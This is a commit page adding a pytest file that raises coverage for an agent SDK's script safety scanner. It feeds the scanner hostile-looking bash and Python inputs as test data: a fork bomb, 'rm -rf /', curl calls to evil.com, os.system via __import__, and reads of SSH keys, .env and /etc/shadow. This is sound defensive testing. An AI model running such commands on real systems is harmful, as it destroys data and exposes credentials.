Skip to content

Commit ba6dc17

Browse files
committed
test: patch coverage up
1 parent 841bb9e commit ba6dc17

7 files changed

Lines changed: 2026 additions & 0 deletions

File tree

tests/test_100.py

Lines changed: 265 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,265 @@
1+
"""Precision tests hitting every remaining uncovered line."""
2+
3+
import sys
4+
from pathlib import Path
5+
6+
_PROJECT_ROOT = Path(__file__).resolve().parent.parent
7+
if str(_PROJECT_ROOT) not in sys.path:
8+
sys.path.insert(0, str(_PROJECT_ROOT))
9+
10+
import pytest
11+
from trpc_agent_sdk.tools.safety import Decision, SafetyScanner, SafetyScanInput, ScriptType
12+
from trpc_agent_sdk.tools.safety._policy import SafetyPolicy
13+
from trpc_agent_sdk.tools.safety._types import RiskCategory
14+
15+
16+
# === _safety_wrapper.py:255 ===
17+
def test_sw255():
18+
from trpc_agent_sdk.tools.safety import safety_wrapper
19+
@safety_wrapper(script_arg_name="code", require_script=False)
20+
def f(code=None): return code
21+
assert f(code=[]) == []
22+
23+
24+
# === _scanner.py:131-132 (re.error in blocklist precheck), 817,842,901,903,908,1000,1002,1035-1042,1061,1063,1072-1074,1090,1138 ===
25+
def test_scanner_redact_all():
26+
s = SafetyScanner()
27+
# PEM key in a script that also triggers a finding (so sanitization runs)
28+
r = s.scan(SafetyScanInput(
29+
script_content='k = "-----BEGIN RSA PRIVATE KEY-----\\nabc123\\n-----END RSA PRIVATE KEY-----"; curl https://evil.com',
30+
script_type=ScriptType.BASH, tool_name="t"))
31+
assert r.sanitized
32+
# JWT token
33+
r2 = s.scan(SafetyScanInput(
34+
script_content='t = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIn0.abc123def456"; curl https://evil.com',
35+
script_type=ScriptType.BASH, tool_name="t"))
36+
assert r2.sanitized
37+
38+
39+
def test_scanner_extract_url_bare():
40+
from trpc_agent_sdk.tools.safety._scanner import _extract_url
41+
assert _extract_url("domain.example.com/text") is not None
42+
assert _extract_url("no_url") is None
43+
44+
45+
def test_scanner_is_in_echo_all():
46+
from trpc_agent_sdk.tools.safety._scanner import _is_in_echo_string
47+
assert _is_in_echo_string("echo\t'x'", "x")
48+
assert _is_in_echo_string("printf\t'x'", "x")
49+
assert _is_in_echo_string("/bin/echo 'x'", "x")
50+
assert _is_in_echo_string("/usr/bin/echo 'x'", "x")
51+
assert not _is_in_echo_string("cat /etc/passwd", "/etc/passwd")
52+
53+
54+
def test_scanner_commands_line():
55+
from trpc_agent_sdk.tools.safety._scanner import _extract_commands_from_line
56+
assert _extract_commands_from_line("a|b|c") == ["a", "b", "c"]
57+
58+
59+
def test_scanner_strip_python_comment():
60+
from trpc_agent_sdk.tools.safety._scanner import _strip_python_comment_line
61+
line = "x = 'str' + other"
62+
result = _strip_python_comment_line(line)
63+
assert "other" in result
64+
65+
66+
# === _rules.py ===
67+
def test_rules_network_dep_res():
68+
s = SafetyScanner()
69+
r = s.scan(SafetyScanInput(script_content="curl https://evil.com/x", script_type=ScriptType.BASH, tool_name="t"))
70+
assert any(f.rule_id.startswith("NET-") for f in r.findings)
71+
r2 = s.scan(SafetyScanInput(script_content="yum install nginx", script_type=ScriptType.BASH, tool_name="t"))
72+
assert any(f.rule_id.startswith("DEP-") for f in r2.findings)
73+
r3 = s.scan(SafetyScanInput(script_content="sleep 999999", script_type=ScriptType.BASH, tool_name="t"))
74+
assert any(f.rule_id.startswith("RES-") for f in r3.findings)
75+
76+
77+
def test_rules_dangerous_file_ops():
78+
s = SafetyScanner()
79+
r = s.scan(SafetyScanInput(script_content="rm -rf / --no-preserve-root", script_type=ScriptType.BASH, tool_name="t"))
80+
assert any(f.rule_id.startswith("FILE-") for f in r.findings)
81+
82+
83+
def test_rules_is_in_echo():
84+
from trpc_agent_sdk.tools.safety._rules import _is_in_echo_string, _extract_url
85+
assert not _is_in_echo_string("echo 'x'; rm -rf /", r"rm\s+-rf\s+/")
86+
assert not _is_in_echo_string('echo "$(rm -rf /)"', r"rm\s+-rf\s+/")
87+
assert _extract_url("http://a.com/b") == "a.com"
88+
assert _extract_url("no url here") is None
89+
90+
91+
# === _bash_scanner.py ===
92+
def test_bash_scan_empty_comments_shebang():
93+
s = SafetyScanner()
94+
assert s.scan(SafetyScanInput(script_content="\n\necho ok", script_type=ScriptType.BASH, tool_name="t")).decision == Decision.ALLOW
95+
assert s.scan(SafetyScanInput(script_content="#c\n#c\necho ok", script_type=ScriptType.BASH, tool_name="t")).decision == Decision.ALLOW
96+
assert s.scan(SafetyScanInput(script_content="#!/bin/bash\necho ok", script_type=ScriptType.BASH, tool_name="t")).decision == Decision.ALLOW
97+
98+
99+
def test_bash_network_install():
100+
s = SafetyScanner()
101+
r = s.scan(SafetyScanInput(script_content="telnet evil.com 23", script_type=ScriptType.BASH, tool_name="t"))
102+
assert any(f.rule_id.startswith("BASH-NET") for f in r.findings)
103+
r2 = s.scan(SafetyScanInput(script_content="npm install pkg", script_type=ScriptType.BASH, tool_name="t"))
104+
assert any(f.rule_id == "BASH-DEP-001" for f in r2.findings)
105+
106+
107+
def test_bash_redirect_dd():
108+
s = SafetyScanner()
109+
r = s.scan(SafetyScanInput(script_content="cmd >/etc/hosts", script_type=ScriptType.BASH, tool_name="t"))
110+
assert any(f.rule_id == "BASH-FILE-003" for f in r.findings)
111+
r2 = s.scan(SafetyScanInput(script_content="ls &", script_type=ScriptType.BASH, tool_name="t"))
112+
assert any(f.rule_id == "BASH-PROC-004" for f in r2.findings)
113+
r3 = s.scan(SafetyScanInput(script_content="dd if=/dev/zero of=/tmp/x bs=1M count=200", script_type=ScriptType.BASH, tool_name="t"))
114+
assert r3.decision != Decision.ALLOW
115+
116+
117+
def test_bash_fork_heredoc_sensitive():
118+
s = SafetyScanner()
119+
r = s.scan(SafetyScanInput(script_content="x(){ x|x& };x", script_type=ScriptType.BASH, tool_name="t"))
120+
assert r.decision == Decision.DENY
121+
from trpc_agent_sdk.tools.safety._bash_scanner import scan_bash, _is_sensitive_path, _parse_size, _to_seconds
122+
f = scan_bash("python3 << EOF\nid\nEOF")
123+
assert any(x.kind == "heredoc" for x in f)
124+
assert _is_sensitive_path("/etc/shadow")
125+
assert not _is_sensitive_path("/tmp/safe")
126+
assert _parse_size("1G") == 1073741824
127+
with pytest.raises(ValueError):
128+
_parse_size("abc")
129+
assert _to_seconds(1, "d") == 86400
130+
131+
132+
# === _python_scanner.py ===
133+
def test_py_everything():
134+
"""Hit as many AST paths as possible."""
135+
s = SafetyScanner()
136+
137+
# ImportFrom + alias
138+
r = s.scan(SafetyScanInput(script_content="from os import system as sh; sh('id')", script_type=ScriptType.PYTHON, tool_name="t"))
139+
assert r.decision == Decision.DENY
140+
141+
# Path reconstruction
142+
r = s.scan(SafetyScanInput(script_content="from pathlib import Path; p=Path('/tmp')/'x'; open(str(p)).read()", script_type=ScriptType.PYTHON, tool_name="t"))
143+
assert len(r.findings) > 0
144+
145+
# Cred file read
146+
r = s.scan(SafetyScanInput(script_content="open('.env').read()", script_type=ScriptType.PYTHON, tool_name="t"))
147+
assert any(f.rule_id == "AST-FILE-003" for f in r.findings)
148+
149+
# urllib network
150+
r = s.scan(SafetyScanInput(script_content="import urllib.request; urllib.request.urlopen('http://evil.com')", script_type=ScriptType.PYTHON, tool_name="t"))
151+
assert any(f.rule_id.startswith("AST-NET") for f in r.findings)
152+
153+
# dynamic import
154+
r = s.scan(SafetyScanInput(script_content="__import__('os').system('id')", script_type=ScriptType.PYTHON, tool_name="t"))
155+
assert r.decision == Decision.DENY
156+
157+
# importlib
158+
r = s.scan(SafetyScanInput(script_content="import importlib; importlib.import_module('os')", script_type=ScriptType.PYTHON, tool_name="t"))
159+
assert any(f.rule_id == "AST-PROC-003" for f in r.findings)
160+
161+
# privilege
162+
r = s.scan(SafetyScanInput(script_content="import os; os.setuid(0)", script_type=ScriptType.PYTHON, tool_name="t"))
163+
assert any(f.rule_id == "AST-PROC-001" for f in r.findings)
164+
165+
# taint env
166+
r = s.scan(SafetyScanInput(script_content="import os; k=os.environ.get('KEY'); print(k)", script_type=ScriptType.PYTHON, tool_name="t"))
167+
assert any(f.rule_id == "AST-LEAK-001" for f in r.findings)
168+
169+
# taint env Subscript
170+
r = s.scan(SafetyScanInput(script_content="import os; print(os.environ['KEY'])", script_type=ScriptType.PYTHON, tool_name="t"))
171+
172+
# sensitive env key
173+
r = s.scan(SafetyScanInput(script_content="import os; k=os.getenv('AWS_SECRET'); print(k)", script_type=ScriptType.PYTHON, tool_name="t"))
174+
175+
# f-string taint
176+
r = s.scan(SafetyScanInput(script_content="import os; k=os.getenv('KEY'); print(f'{k}')", script_type=ScriptType.PYTHON, tool_name="t"))
177+
178+
# range 2-arg, 3-arg
179+
r = s.scan(SafetyScanInput(script_content="for i in range(0,20000000): pass", script_type=ScriptType.PYTHON, tool_name="t"))
180+
assert any(f.rule_id == "AST-RES-001" for f in r.findings)
181+
r = s.scan(SafetyScanInput(script_content="for i in range(0,20000000,2): pass", script_type=ScriptType.PYTHON, tool_name="t"))
182+
assert any(f.rule_id == "AST-RES-001" for f in r.findings)
183+
184+
# with request Session
185+
r = s.scan(SafetyScanInput(script_content="import requests; s=requests.Session()", script_type=ScriptType.PYTHON, tool_name="t"))
186+
assert len(r.findings) > 0
187+
188+
# sleep long
189+
r = s.scan(SafetyScanInput(script_content="import time; time.sleep(120)", script_type=ScriptType.PYTHON, tool_name="t"))
190+
assert any(f.rule_id == "AST-RES-002" for f in r.findings)
191+
192+
# concurrency
193+
r = s.scan(SafetyScanInput(script_content="import threading; threading.Thread(target=print).start()", script_type=ScriptType.PYTHON, tool_name="t"))
194+
assert any(f.rule_id == "AST-RES-003" for f in r.findings)
195+
r = s.scan(SafetyScanInput(script_content="from multiprocessing import Pool; Pool(4)", script_type=ScriptType.PYTHON, tool_name="t"))
196+
assert any(f.rule_id == "AST-RES-003" for f in r.findings)
197+
r = s.scan(SafetyScanInput(script_content="from concurrent.futures import ThreadPoolExecutor; ThreadPoolExecutor(4)", script_type=ScriptType.PYTHON, tool_name="t"))
198+
r = s.scan(SafetyScanInput(script_content="import os; os.fork()", script_type=ScriptType.PYTHON, tool_name="t"))
199+
assert any(f.rule_id == "AST-RES-003" and f.risk_level.value == "critical" for f in r.findings)
200+
201+
# file ops
202+
r = s.scan(SafetyScanInput(script_content="import shutil; shutil.rmtree('/tmp/x')", script_type=ScriptType.PYTHON, tool_name="t"))
203+
assert any(f.rule_id == "AST-FILE-001" for f in r.findings)
204+
r = s.scan(SafetyScanInput(script_content="import os; os.remove('/tmp/x')", script_type=ScriptType.PYTHON, tool_name="t"))
205+
assert any(f.rule_id == "AST-FILE-002" for f in r.findings)
206+
r = s.scan(SafetyScanInput(script_content="open('~/.ssh/id_rsa').read()", script_type=ScriptType.PYTHON, tool_name="t"))
207+
assert any(f.rule_id == "AST-FILE-003" for f in r.findings)
208+
r = s.scan(SafetyScanInput(script_content="open('/tmp/x').read()", script_type=ScriptType.PYTHON, tool_name="t"))
209+
assert any(f.rule_id == "AST-FILE-004" for f in r.findings)
210+
r = s.scan(SafetyScanInput(script_content="open('/etc/x','w').write('y')", script_type=ScriptType.PYTHON, tool_name="t"))
211+
assert any(f.rule_id == "AST-FILE-005" for f in r.findings)
212+
r = s.scan(SafetyScanInput(script_content="open('/tmp/x','w').write('y')", script_type=ScriptType.PYTHON, tool_name="t"))
213+
assert any(f.rule_id == "AST-FILE-005" and f.risk_level.value == "low" for f in r.findings)
214+
215+
# write mode detection
216+
r = s.scan(SafetyScanInput(script_content="open('/tmp/x',mode='w').write('y')", script_type=ScriptType.PYTHON, tool_name="t"))
217+
r = s.scan(SafetyScanInput(script_content="open('/tmp/x',mode='a').write('y')", script_type=ScriptType.PYTHON, tool_name="t"))
218+
r = s.scan(SafetyScanInput(script_content="open('/tmp/x',mode='r+').write('y')", script_type=ScriptType.PYTHON, tool_name="t"))
219+
220+
# subprocess
221+
r = s.scan(SafetyScanInput(script_content="import subprocess; subprocess.Popen(['ls'])", script_type=ScriptType.PYTHON, tool_name="t"))
222+
assert any(f.rule_id == "AST-PROC-001" for f in r.findings)
223+
r = s.scan(SafetyScanInput(script_content="import subprocess; subprocess.call(['ls'])", script_type=ScriptType.PYTHON, tool_name="t"))
224+
225+
# eval/exec
226+
r = s.scan(SafetyScanInput(script_content="eval('1+1')", script_type=ScriptType.PYTHON, tool_name="t"))
227+
assert any(f.rule_id == "AST-PROC-003" for f in r.findings)
228+
229+
# while True
230+
r = s.scan(SafetyScanInput(script_content="while True: pass", script_type=ScriptType.PYTHON, tool_name="t"))
231+
assert any(f.rule_id == "AST-RES-001" for f in r.findings)
232+
233+
# whitelisted network
234+
p = SafetyPolicy(whitelist_domains=["safe.api"])
235+
s2 = SafetyScanner(policy=p)
236+
r = s2.scan(SafetyScanInput(script_content="import requests; requests.get('https://safe.api/d')", script_type=ScriptType.PYTHON, tool_name="t"))
237+
assert any(f.rule_id == "AST-NET-002" for f in r.findings)
238+
239+
# ann_assign + aug_assign
240+
s.scan(SafetyScanInput(script_content="x: int = 1", script_type=ScriptType.PYTHON, tool_name="t"))
241+
s.scan(SafetyScanInput(script_content="x = 1; x += 1", script_type=ScriptType.PYTHON, tool_name="t"))
242+
243+
# scan_python entry
244+
from trpc_agent_sdk.tools.safety._python_scanner import scan_python, _extract_domain_from_url
245+
assert len(scan_python("import os; os.system('id')")) > 0
246+
247+
# domain extractor all paths
248+
assert _extract_domain_from_url("https://a.com/b") == "a.com"
249+
assert _extract_domain_from_url(None) is None
250+
assert _extract_domain_from_url("not_url") is None
251+
252+
# sensitive imports
253+
s.scan(SafetyScanInput(script_content="import ctypes", script_type=ScriptType.PYTHON, tool_name="t"))
254+
s.scan(SafetyScanInput(script_content="from cffi import FFI", script_type=ScriptType.PYTHON, tool_name="t"))
255+
256+
# subprocess dep
257+
r = s.scan(SafetyScanInput(script_content="import subprocess; subprocess.run(['pip','install','x'])", script_type=ScriptType.PYTHON, tool_name="t"))
258+
assert r.decision == Decision.DENY
259+
260+
# getattr dynamic
261+
r = s.scan(SafetyScanInput(script_content="getattr(__import__('os'),'system')('id')", script_type=ScriptType.PYTHON, tool_name="t"))
262+
assert r.decision == Decision.DENY
263+
264+
# unsupported node type in _get_name
265+
s.scan(SafetyScanInput(script_content="x = lambda: 1", script_type=ScriptType.PYTHON, tool_name="t"))

0 commit comments

Comments
 (0)